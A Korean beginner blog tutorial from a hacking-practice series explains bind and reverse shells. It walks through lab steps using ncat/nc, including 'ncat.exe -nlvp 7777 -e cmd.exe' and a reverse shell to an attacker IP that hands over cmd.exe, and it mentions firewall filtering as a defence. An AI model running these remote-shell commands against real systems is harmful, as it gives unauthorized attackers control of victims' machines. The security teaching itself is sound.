바인딩 쉘
개념
기본적인 흐름은 다음과 같습니다.
- 피해자가 공격자에게 포트를 열어줍니다. 해당 포트로 들어오면 권한을 획득할 수 있습니다.
- 공격자가 해당 포트로 접속을 합니다.
물론 피해자가 스스로 열어줄 일은 없으니 이걸 열 수 있도록 공격자가 열심히 조작합니다.
방화벽에서 특정 포트만 허용해 줌으로써 막을 수 있습니다.
실습
리눅스였다면 nc 명령어로 쉽게 할 수 있지만 윈도우는 그 명령어가 없기 때문에 윈도우의 특정 포트를 열어주는 프로그램을 설치합니다. https://github.com/cyberisltd/NcatPortable에 있 ncat.exe를 설치하고 설치한 위치에서 cmd 창을 엽니다.
해당 창에서 ncat.exe -nlvp 7777 -e cmd.exe 를 입력합니다.
-n : 호스트명과 포트를 이름이 아닌 숫자로 받습니다.
-l : 듣기 모드로 엽니다.
-v : 더 많은 정보를 출력합니다.
-p : 포트를 연결합니다.
-e cmd.exe : cmd.exe를 실행해서 이것을 건내줍니다.
이제 kali리눅스로 이동합니다. 터미널을 열고 nc -nv {윈도우 ip} 7777 를 입력합니다.
nc : 특정 포트를 열어주는 명령어입니다. ncat.exe와 같은 역할입니다.
리버스 쉘
개념
위의 바인딩 쉘은 피해자의 특정 포트를 열어두고 공격자가 그 포트로 접속을 했습니다. 하지만 보통 들어오는 포트는 방화벽으로 잘 제한을 해 두는 편이기 때문에 쉽지 않습니다. 그래서 반대로 공격자의 포트를 열고 피해자가 그 포트로 접속을 하도록 하는 방법이 리버스 쉘입니다.
흐름은 다음과 같습니다.
- 공격자의 특정 포트를 열어둡니다.
- 피해자가 해당 포트로 접속합니다. 이때, 시스템 권한을 함께 넘겨줍니다.
실습
위와 정말 비슷합니다. 먼저 kali 리눅스에서 터미널을 열고 nc -nlvp 7777을 실행합니다.
그리고 윈도우에서 ncat.exe -nv 172.30.1.58 7777 -e cmd.exe를 실행합니다. 그러면 다음과 같이 권한을 얻을 수 있습니다.
물론 이 명령어를 피해자가 입력하진 않을 것이기 때문에 이 부분을 공략하는 것이 해커의 일입니다.
'해킹 슈퍼 기초 연습' 카테고리의 다른 글
dvwa 파일 업로드 취약점 (0) | 2024.07.07 |
---|---|
dvwa sql injection (0) | 2024.07.06 |
ip 위치 추적 (0) | 2024.06.29 |
kioptrix, DVWA 세팅 (1) | 2024.06.22 |
칼리 리눅스 설치 (0) | 2024.06.21 |